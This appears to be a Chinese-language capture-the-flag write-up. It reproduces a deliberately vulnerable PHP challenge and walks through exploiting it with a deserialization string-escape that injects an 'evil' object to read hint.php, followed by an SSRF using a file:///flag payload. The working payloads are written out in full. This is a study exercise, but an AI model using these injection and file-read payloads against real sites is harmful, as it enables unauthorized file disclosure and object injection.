打開題目
是一串php代碼
1 <?php 2 // php版本:5.4.44 3 header("Content-type: text/html; charset=utf-8"); 4 highlight_file(__FILE__); 5 6 class evil{ 7 public $hint; 8 9 public function __construct($hint){ 10 $this->hint = $hint; 11 } 12 13 public function __destruct(){ 14 if($this->hint==="hint.php") 15 @$this->hint = base64_encode(file_get_contents($this->hint)); 16 var_dump($this->hint); 17 } 18 19 function __wakeup() { 20 if ($this->hint != "╭(●`∀´●)╯") { 21 //There's a hint in ./hint.php 22 $this->hint = "╰(●’◡’●)╮"; 23 } 24 } 25 } 26 27 class User 28 { 29 public $username; 30 public $password; 31 32 public function __construct($username, $password){ 33 $this->username = $username; 34 $this->password = $password; 35 } 36 37 } 38 39 function write($data){ 40 global $tmp; 41 $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); 42 $tmp = $data; 43 } 44 45 function read(){ 46 global $tmp; 47 $data = $tmp; 48 $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); 49 return $r; 50 } 51 52 $tmp = "test"; 53 $username = $_POST['username']; 54 $password = $_POST['password']; 55 56 $a = serialize(new User($username, $password)); 57 if(preg_match('/flag/is',$a)) 58 die("NoNoNo!"); 59 60 unserialize(read(write($a)));
發現有一個hint.php文件,試試看能不能直接訪問
果然,沒有任何東西,
還是老老實實的審計代碼把
首先在evil類里$this->hint
指向文件觸發file_get_contents函數讀取文件內容,然后提示有個hint.php,要構造觸發這個evil類
再將將evil后面的數字改的更大就行了(繞過_wakeup只需對象屬性個數值改得比真實對象大)
payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
然后再user類中,有read()方法和write() 方法
這兩個方法都是經過處理后才進行反序列化的
這里就有一個漏洞了,php反序列化字符串逃逸
php特性:
1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的 2.對類中不存在的屬性也會進行反序列化
漏洞原因:序列化的字符串在經過過濾函數不正確的處理而導致對象注入
詳細的可以看下這篇文章
user類觸發的payload為:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
這時候我們要替換掉的就是:";s:8:"password";s:41:" 共有23位
而每次添加一組\0\0\0能多吞掉3個字符,所以肯定需要3的倍數,我們可以在password的值上再加一個任意字符,即可湊齊24個
payload: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
再將得出的字符串進行base64解碼
訪問index.cgi
得到一串代碼
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-60cc5790-4d6de1ed0d4813ab786ed249" }, "origin": "114.67.246.176", "url": "http://httpbin.org/get?name=Bob" }
感覺有ssrf
隨便get一下
果然存在
知道ssrf存在然后就可以通過file協議來直接讀取flag了
payload:?name= file:///flag